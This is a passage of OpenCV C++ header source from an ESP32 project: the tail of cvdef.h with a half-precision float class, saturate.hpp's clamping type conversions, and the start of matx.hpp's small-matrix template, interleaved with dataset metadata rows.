using std::uint16_t;
using std::int32_t;
using std::uint32_t;
using std::int64_t;
using std::uint64_t;
}
#else
#include <stdint.h>
namespace cv {
typedef ::int8_t int8_t;
typedef ::uint8_t uint8_t;
typedef ::int16_t int16_t;
typedef ::uint16_t uint16_t;
typedef ::int32_t int32_t;
typedef ::uint32_t uint32_t;
typedef ::int64_t int64_t;
typedef ::uint64_t uint64_t;
}
#endif
#else // pure C
#include <stdint.h>
#endif
#ifdef __cplusplus
namespace cv
{
class float16_t
{
public:
#if CV_FP16_TYPE
float16_t() : h(0) {}
explicit float16_t(float x) { h = (__fp16)x; }
operator float() const { return (float)h; }
static float16_t fromBits(ushort w)
{
Cv16suf u;
u.u = w;
float16_t result;
result.h = u.h;
return result;
}
static float16_t zero()
{
float16_t result;
result.h = (__fp16)0;
return result;
}
ushort bits() const
{
Cv16suf u;
u.h = h;
return u.u;
}
protected:
__fp16 h;
#else
float16_t() : w(0) {}
explicit float16_t(float x)
{
#if CV_AVX2
__m128 v = _mm_load_ss(&x);
w = (ushort)_mm_cvtsi128_si32(_mm_cvtps_ph(v, 0));
#else
Cv32suf in;
in.f = x;
unsigned sign = in.u & 0x80000000;
in.u ^= sign;
if( in.u >= 0x47800000 )
w = (ushort)(in.u > 0x7f800000 ? 0x7e00 : 0x7c00);
else
{
if (in.u < 0x38800000)
{
in.f += 0.5f;
w = (ushort)(in.u - 0x3f000000);
}
else
{
unsigned t = in.u + 0xc8000fff;
w = (ushort)((t + ((in.u >> 13) & 1)) >> 13);
}
}
w = (ushort)(w | (sign >> 16));
#endif
}
operator float() const
{
#if CV_AVX2
float f;
_mm_store_ss(&f, _mm_cvtph_ps(_mm_cvtsi32_si128(w)));
return f;
#else
Cv32suf out;
unsigned t = ((w & 0x7fff) << 13) + 0x38000000;
unsigned sign = (w & 0x8000) << 16;
unsigned e = w & 0x7c00;
out.u = t + (1 << 23);
out.u = (e >= 0x7c00 ? t + 0x38000000 :
e == 0 ? (static_cast<void>(out.f -= 6.103515625e-05f), out.u) : t) | sign;
return out.f;
#endif
}
static float16_t fromBits(ushort b)
{
float16_t result;
result.w = b;
return result;
}
static float16_t zero()
{
float16_t result;
result.w = (ushort)0;
return result;
}
ushort bits() const { return w; }
protected:
ushort w;
#endif
};
}
#endif
//! @}
#ifndef __cplusplus
#include "opencv2/core/fast_math.hpp" // define cvRound(double)
#endif
#endif // OPENCV_CORE_CVDEF_H
| 34,095 | cvdef | h | en | c | code | {"qsc_code_num_words": 3721, "qsc_code_num_chars": 34095.0, "qsc_code_mean_word_length": 4.6694437, "qsc_code_frac_words_unique": 0.18059661, "qsc_code_frac_chars_top_2grams": 0.08103597, "qsc_code_frac_chars_top_3grams": 0.02532374, "qsc_code_frac_chars_top_4grams": 0.02739568, "qsc_code_frac_chars_dupe_5grams": 0.37076259, "qsc_code_frac_chars_dupe_6grams": 0.28840288, "qsc_code_frac_chars_dupe_7grams": 0.25041727, "qsc_code_frac_chars_dupe_8grams": 0.21669065, "qsc_code_frac_chars_dupe_9grams": 0.18106475, "qsc_code_frac_chars_dupe_10grams": 0.18106475, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.04525415, "qsc_code_frac_chars_whitespace": 0.32142543, "qsc_code_size_file_byte": 34095.0, "qsc_code_num_lines": 908.0, "qsc_code_num_chars_line_max": 188.0, "qsc_code_num_chars_line_mean": 37.54955947, "qsc_code_frac_chars_alphabet": 0.70573997, "qsc_code_frac_chars_comments": 0.19460331, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.30609212, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00148588, "qsc_code_frac_chars_string_length": 0.01209031, "qsc_code_frac_chars_long_word_length": 0.00378733, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00458849, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01931649, "qsc_codec_frac_lines_func_ratio": 0.16047548, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.19019316, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/saturate.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Copyright (C) 2014, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_SATURATE_HPP
#define OPENCV_CORE_SATURATE_HPP
#include "opencv2/core/cvdef.h"
#include "opencv2/core/fast_math.hpp"
namespace cv
{
//! @addtogroup core_utils
//! @{
/////////////// saturate_cast (used in image & signal processing) ///////////////////
/** @brief Template function for accurate conversion from one primitive type to another.
The function saturate_cast resembles the standard C++ cast operations, such as static_cast\<T\>()
and others. It perform an efficient and accurate conversion from one primitive type to another
(see the introduction chapter). saturate in the name means that when the input value v is out of the
range of the target type, the result is not formed just by taking low bits of the input, but instead
the value is clipped. For example:
@code
uchar a = saturate_cast<uchar>(-100); // a = 0 (UCHAR_MIN)
short b = saturate_cast<short>(33333.33333); // b = 32767 (SHRT_MAX)
@endcode
Such clipping is done when the target type is unsigned char , signed char , unsigned short or
signed short . For 32-bit integers, no clipping is done.
When the parameter is a floating-point value and the target type is an integer (8-, 16- or 32-bit),
the floating-point value is first rounded to the nearest integer and then clipped if needed (when
the target type is 8- or 16-bit).
@param v Function parameter.
@sa add, subtract, multiply, divide, Mat::convertTo
*/
template<typename _Tp> static inline _Tp saturate_cast(uchar v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(schar v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(ushort v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(short v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(unsigned v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(int v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(float v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(double v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(int64 v) { return _Tp(v); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(uint64 v) { return _Tp(v); }
template<> inline uchar saturate_cast<uchar>(schar v) { return (uchar)std::max((int)v, 0); }
template<> inline uchar saturate_cast<uchar>(ushort v) { return (uchar)std::min((unsigned)v, (unsigned)UCHAR_MAX); }
template<> inline uchar saturate_cast<uchar>(int v) { return (uchar)((unsigned)v <= UCHAR_MAX ? v : v > 0 ? UCHAR_MAX : 0); }
template<> inline uchar saturate_cast<uchar>(short v) { return saturate_cast<uchar>((int)v); }
template<> inline uchar saturate_cast<uchar>(unsigned v) { return (uchar)std::min(v, (unsigned)UCHAR_MAX); }
template<> inline uchar saturate_cast<uchar>(float v) { int iv = cvRound(v); return saturate_cast<uchar>(iv); }
template<> inline uchar saturate_cast<uchar>(double v) { int iv = cvRound(v); return saturate_cast<uchar>(iv); }
template<> inline uchar saturate_cast<uchar>(int64 v) { return (uchar)((uint64)v <= (uint64)UCHAR_MAX ? v : v > 0 ? UCHAR_MAX : 0); }
template<> inline uchar saturate_cast<uchar>(uint64 v) { return (uchar)std::min(v, (uint64)UCHAR_MAX); }
template<> inline schar saturate_cast<schar>(uchar v) { return (schar)std::min((int)v, SCHAR_MAX); }
template<> inline schar saturate_cast<schar>(ushort v) { return (schar)std::min((unsigned)v, (unsigned)SCHAR_MAX); }
template<> inline schar saturate_cast<schar>(int v) { return (schar)((unsigned)(v-SCHAR_MIN) <= (unsigned)UCHAR_MAX ? v : v > 0 ? SCHAR_MAX : SCHAR_MIN); }
template<> inline schar saturate_cast<schar>(short v) { return saturate_cast<schar>((int)v); }
template<> inline schar saturate_cast<schar>(unsigned v) { return (schar)std::min(v, (unsigned)SCHAR_MAX); }
template<> inline schar saturate_cast<schar>(float v) { int iv = cvRound(v); return saturate_cast<schar>(iv); }
template<> inline schar saturate_cast<schar>(double v) { int iv = cvRound(v); return saturate_cast<schar>(iv); }
template<> inline schar saturate_cast<schar>(int64 v) { return (schar)((uint64)((int64)v-SCHAR_MIN) <= (uint64)UCHAR_MAX ? v : v > 0 ? SCHAR_MAX : SCHAR_MIN); }
template<> inline schar saturate_cast<schar>(uint64 v) { return (schar)std::min(v, (uint64)SCHAR_MAX); }
template<> inline ushort saturate_cast<ushort>(schar v) { return (ushort)std::max((int)v, 0); }
template<> inline ushort saturate_cast<ushort>(short v) { return (ushort)std::max((int)v, 0); }
template<> inline ushort saturate_cast<ushort>(int v) { return (ushort)((unsigned)v <= (unsigned)USHRT_MAX ? v : v > 0 ? USHRT_MAX : 0); }
template<> inline ushort saturate_cast<ushort>(unsigned v) { return (ushort)std::min(v, (unsigned)USHRT_MAX); }
template<> inline ushort saturate_cast<ushort>(float v) { int iv = cvRound(v); return saturate_cast<ushort>(iv); }
template<> inline ushort saturate_cast<ushort>(double v) { int iv = cvRound(v); return saturate_cast<ushort>(iv); }
template<> inline ushort saturate_cast<ushort>(int64 v) { return (ushort)((uint64)v <= (uint64)USHRT_MAX ? v : v > 0 ? USHRT_MAX : 0); }
template<> inline ushort saturate_cast<ushort>(uint64 v) { return (ushort)std::min(v, (uint64)USHRT_MAX); }
template<> inline short saturate_cast<short>(ushort v) { return (short)std::min((int)v, SHRT_MAX); }
template<> inline short saturate_cast<short>(int v) { return (short)((unsigned)(v - SHRT_MIN) <= (unsigned)USHRT_MAX ? v : v > 0 ? SHRT_MAX : SHRT_MIN); }
template<> inline short saturate_cast<short>(unsigned v) { return (short)std::min(v, (unsigned)SHRT_MAX); }
template<> inline short saturate_cast<short>(float v) { int iv = cvRound(v); return saturate_cast<short>(iv); }
template<> inline short saturate_cast<short>(double v) { int iv = cvRound(v); return saturate_cast<short>(iv); }
template<> inline short saturate_cast<short>(int64 v) { return (short)((uint64)((int64)v - SHRT_MIN) <= (uint64)USHRT_MAX ? v : v > 0 ? SHRT_MAX : SHRT_MIN); }
template<> inline short saturate_cast<short>(uint64 v) { return (short)std::min(v, (uint64)SHRT_MAX); }
template<> inline int saturate_cast<int>(unsigned v) { return (int)std::min(v, (unsigned)INT_MAX); }
template<> inline int saturate_cast<int>(int64 v) { return (int)((uint64)(v - INT_MIN) <= (uint64)UINT_MAX ? v : v > 0 ? INT_MAX : INT_MIN); }
template<> inline int saturate_cast<int>(uint64 v) { return (int)std::min(v, (uint64)INT_MAX); }
template<> inline int saturate_cast<int>(float v) { return cvRound(v); }
template<> inline int saturate_cast<int>(double v) { return cvRound(v); }
template<> inline unsigned saturate_cast<unsigned>(schar v) { return (unsigned)std::max(v, (schar)0); }
template<> inline unsigned saturate_cast<unsigned>(short v) { return (unsigned)std::max(v, (short)0); }
template<> inline unsigned saturate_cast<unsigned>(int v) { return (unsigned)std::max(v, (int)0); }
template<> inline unsigned saturate_cast<unsigned>(int64 v) { return (unsigned)((uint64)v <= (uint64)UINT_MAX ? v : v > 0 ? UINT_MAX : 0); }
template<> inline unsigned saturate_cast<unsigned>(uint64 v) { return (unsigned)std::min(v, (uint64)UINT_MAX); }
// we intentionally do not clip negative numbers, to make -1 become 0xffffffff etc.
template<> inline unsigned saturate_cast<unsigned>(float v) { return static_cast<unsigned>(cvRound(v)); }
template<> inline unsigned saturate_cast<unsigned>(double v) { return static_cast<unsigned>(cvRound(v)); }
template<> inline uint64 saturate_cast<uint64>(schar v) { return (uint64)std::max(v, (schar)0); }
template<> inline uint64 saturate_cast<uint64>(short v) { return (uint64)std::max(v, (short)0); }
template<> inline uint64 saturate_cast<uint64>(int v) { return (uint64)std::max(v, (int)0); }
template<> inline uint64 saturate_cast<uint64>(int64 v) { return (uint64)std::max(v, (int64)0); }
template<> inline int64 saturate_cast<int64>(uint64 v) { return (int64)std::min(v, (uint64)LLONG_MAX); }
/** @overload */
template<typename _Tp> static inline _Tp saturate_cast(float16_t v) { return saturate_cast<_Tp>((float)v); }
// in theory, we could use a LUT for 8u/8s->16f conversion,
// but with hardware support for FP32->FP16 conversion the current approach is preferable
template<> inline float16_t saturate_cast<float16_t>(uchar v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(schar v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(ushort v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(short v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(unsigned v){ return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(int v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(uint64 v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(int64 v) { return float16_t((float)v); }
template<> inline float16_t saturate_cast<float16_t>(float v) { return float16_t(v); }
template<> inline float16_t saturate_cast<float16_t>(double v) { return float16_t((float)v); }
//! @}
} // cv
#endif // OPENCV_CORE_SATURATE_HPP
| 11,976 | saturate | hpp | en | cpp | code | {"qsc_code_num_words": 1724, "qsc_code_num_chars": 11976.0, "qsc_code_mean_word_length": 4.75928074, "qsc_code_frac_words_unique": 0.16937355, "qsc_code_frac_chars_top_2grams": 0.12577697, "qsc_code_frac_chars_top_3grams": 0.02925046, "qsc_code_frac_chars_top_4grams": 0.0321755, "qsc_code_frac_chars_dupe_5grams": 0.60816575, "qsc_code_frac_chars_dupe_6grams": 0.55539305, "qsc_code_frac_chars_dupe_7grams": 0.48580134, "qsc_code_frac_chars_dupe_8grams": 0.40377818, "qsc_code_frac_chars_dupe_9grams": 0.3472273, "qsc_code_frac_chars_dupe_10grams": 0.31882998, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02561557, "qsc_code_frac_chars_whitespace": 0.15898464, "qsc_code_size_file_byte": 11976.0, "qsc_code_num_lines": 179.0, "qsc_code_num_chars_line_max": 168.0, "qsc_code_num_chars_line_mean": 66.90502793, "qsc_code_frac_chars_alphabet": 0.78901906, "qsc_code_frac_chars_comments": 0.33208083, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00575072, "qsc_code_frac_chars_long_word_length": 0.00325041, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.41772152, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.44303797, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/matx.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_MATX_HPP
#define OPENCV_CORE_MATX_HPP
#ifndef __cplusplus
# error matx.hpp header must be compiled as C++
#endif
#include "opencv2/core/cvdef.h"
#include "opencv2/core/base.hpp"
#include "opencv2/core/traits.hpp"
#include "opencv2/core/saturate.hpp"
#include <initializer_list>
namespace cv
{
//! @addtogroup core_basic
//! @{
////////////////////////////// Small Matrix ///////////////////////////
//! @cond IGNORED
// FIXIT Remove this (especially CV_EXPORTS modifier)
struct CV_EXPORTS Matx_AddOp { Matx_AddOp() {} Matx_AddOp(const Matx_AddOp&) {} };
struct CV_EXPORTS Matx_SubOp { Matx_SubOp() {} Matx_SubOp(const Matx_SubOp&) {} };
struct CV_EXPORTS Matx_ScaleOp { Matx_ScaleOp() {} Matx_ScaleOp(const Matx_ScaleOp&) {} };
struct CV_EXPORTS Matx_MulOp { Matx_MulOp() {} Matx_MulOp(const Matx_MulOp&) {} };
struct CV_EXPORTS Matx_DivOp { Matx_DivOp() {} Matx_DivOp(const Matx_DivOp&) {} };
struct CV_EXPORTS Matx_MatMulOp { Matx_MatMulOp() {} Matx_MatMulOp(const Matx_MatMulOp&) {} };
struct CV_EXPORTS Matx_TOp { Matx_TOp() {} Matx_TOp(const Matx_TOp&) {} };
//! @endcond
/** @brief Template class for small matrices whose type and size are known at compilation time
If you need a more flexible type, use Mat . The elements of the matrix M are accessible using the
M(i,j) notation. Most of the common matrix operations (see also @ref MatrixExpressions ) are
available. To do an operation on Matx that is not implemented, you can easily convert the matrix to
Mat and backwards:
@code{.cpp}
Matx33f m(1, 2, 3,
4, 5, 6,
7, 8, 9);
cout << sum(Mat(m*m.t())) << endl;
@endcode
Except of the plain constructor which takes a list of elements, Matx can be initialized from a C-array:
@code{.cpp}
float values[] = { 1, 2, 3};
Matx31f m(values);
@endcode
In case if C++11 features are available, std::initializer_list can be also used to initialize Matx:
@code{.cpp}
Matx31f m = { 1, 2, 3};
@endcode
*/
template<typename _Tp, int m, int n> class Matx
{
public:
enum {
rows = m,
cols = n,
channels = rows*cols,
#ifdef OPENCV_TRAITS_ENABLE_DEPRECATED
depth = traits::Type<_Tp>::value,
type = CV_MAKETYPE(depth, channels),
#endif
shortdim = (m < n ? m : n)
};
typedef _Tp value_type;
typedef Matx<_Tp, m, n> mat_type;
typedef Matx<_Tp, shortdim, 1> diag_type;
//! default constructor
Matx();
explicit Matx(_Tp v0); //!< 1x1 matrix
Matx(_Tp v0, _Tp v1); //!< 1x2 or 2x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2); //!< 1x3 or 3x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3); //!< 1x4, 2x2 or 4x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4); //!< 1x5 or 5x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5); //!< 1x6, 2x3, 3x2 or 6x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6); //!< 1x7 or 7x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7); //!< 1x8, 2x4, 4x2 or 8x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8); //!< 1x9, 3x3 or 9x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9); //!< 1x10, 2x5 or 5x2 or 10x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3,
_Tp v4, _Tp v5, _Tp v6, _Tp v7,
_Tp v8, _Tp v9, _Tp v10, _Tp v11); //!< 1x12, 2x6, 3x4, 4x3, 6x2 or 12x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3,
_Tp v4, _Tp v5, _Tp v6, _Tp v7,
_Tp v8, _Tp v9, _Tp v10, _Tp v11,
_Tp v12, _Tp v13); //!< 1x14, 2x7, 7x2 or 14x1 matrix
Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3,
_Tp v4, _Tp v5, _Tp v6, _Tp v7,
_Tp v8, _Tp v9, _Tp v10, _Tp v11,
_Tp v12, _Tp v13, _Tp v14, _Tp v15); //!< 1x16, 4x4 or 16x1 matrix
explicit Matx(const _Tp* vals); //!< initialize from a plain array
Matx(std::initializer_list<_Tp>); //!< initialize from an initializer list
static Matx all(_Tp alpha);
static Matx zeros();
static Matx ones();
static Matx eye();
static Matx diag(const diag_type& d);
static Matx randu(_Tp a, _Tp b);
static Matx randn(_Tp a, _Tp b);
//! dot product computed with the default precision
_Tp dot(const Matx<_Tp, m, n>& v) const;
//! dot product computed in double-precision arithmetics
double ddot(const Matx<_Tp, m, n>& v) const;
//! conversion to another data type
template<typename T2> operator Matx<T2, m, n>() const;
//! change the matrix shape
template<int m1, int n1> Matx<_Tp, m1, n1> reshape() const;
//! extract part of the matrix
template<int m1, int n1> Matx<_Tp, m1, n1> get_minor(int base_row, int base_col) const;
//! extract the matrix row
Matx<_Tp, 1, n> row(int i) const;
//! extract the matrix column
Matx<_Tp, m, 1> col(int i) const;
//! extract the matrix diagonal
diag_type diag() const;
//! transpose the matrix
Matx<_Tp, n, m> t() const;
//! invert the matrix
Matx<_Tp, n, m> inv(int method=DECOMP_LU, bool *p_is_ok = NULL) const;
//! solve linear system
template<int l> Matx<_Tp, n, l> solve(const Matx<_Tp, m, l>& rhs, int flags=DECOMP_LU) const;
Vec<_Tp, n> solve(const Vec<_Tp, m>& rhs, int method) const;
//! multiply two matrices element-wise
Matx<_Tp, m, n> mul(const Matx<_Tp, m, n>& a) const;
//! divide two matrices element-wise
Matx<_Tp, m, n> div(const Matx<_Tp, m, n>& a) const;
//! element access
const _Tp& operator ()(int row, int col) const;
_Tp& operator ()(int row, int col);
//! 1D element access
const _Tp& operator ()(int i) const;
_Tp& operator ()(int i);
Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_AddOp);
Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_SubOp);
template<typename _T2> Matx(const Matx<_Tp, m, n>& a, _T2 alpha, Matx_ScaleOp);
Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_MulOp);
Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_DivOp);
template<int l> Matx(const Matx<_Tp, m, l>& a, const Matx<_Tp, l, n>& b, Matx_MatMulOp);
Matx(const Matx<_Tp, n, m>& a, Matx_TOp);
_Tp val[m*n]; //< matrix elements
};
typedef Matx<float, 1, 2> Matx12f;
typedef Matx<double, 1, 2> Matx12d;
typedef Matx<float, 1, 3> Matx13f;
typedef Matx<double, 1, 3> Matx13d;
typedef Matx<float, 1, 4> Matx14f;
typedef Matx<double, 1, 4> Matx14d;
typedef Matx<float, 1, 6> Matx16f;
typedef Matx<double, 1, 6> Matx16d;
typedef Matx<float, 2, 1> Matx21f;
typedef Matx<double, 2, 1> Matx21d;
typedef Matx<float, 3, 1> Matx31f;
typedef Matx<double, 3, 1> Matx31d;
typedef Matx<float, 4, 1> Matx41f;
typedef Matx<double, 4, 1> Matx41d;
typedef Matx<float, 6, 1> Matx61f;
typedef Matx<double, 6, 1> Matx61d;
typedef Matx<float, 2, 2> Matx22f;
typedef Matx<double, 2, 2> Matx22d;
typedef Matx<float, 2, 3> Matx23f;
typedef Matx<double, 2, 3> Matx23d;
typedef Matx<float, 3, 2> Matx32f;
typedef Matx<double, 3, 2> Matx32d;
typedef Matx<float, 3, 3> Matx33f;
typedef Matx<double, 3, 3> Matx33d;
typedef Matx<float, 3, 4> Matx34f;
typedef Matx<double, 3, 4> Matx34d;
typedef Matx<float, 4, 3> Matx43f;
typedef Matx<double, 4, 3> Matx43d;
typedef Matx<float, 4, 4> Matx44f;
typedef Matx<double, 4, 4> Matx44d;
typedef Matx<float, 6, 6> Matx66f;
typedef Matx<double, 6, 6> Matx66d;
/*!
traits
*/
template<typename _Tp, int m, int n> class DataType< Matx<_Tp, m, n> >
{
public:
typedef Matx<_Tp, m, n> value_type;
typedef Matx<typename DataType<_Tp>::work_type, m, n> work_type;
typedef _Tp channel_type;
typedef value_type vec_type;
enum { generic_type = 0,
channels = m * n,
fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8)
#ifdef OPENCV_TRAITS_ENABLE_DEPRECATED
,depth = DataType<channel_type>::depth
,type = CV_MAKETYPE(depth, channels)
#endif
};
};
namespace traits {
template<typename _Tp, int m, int n>
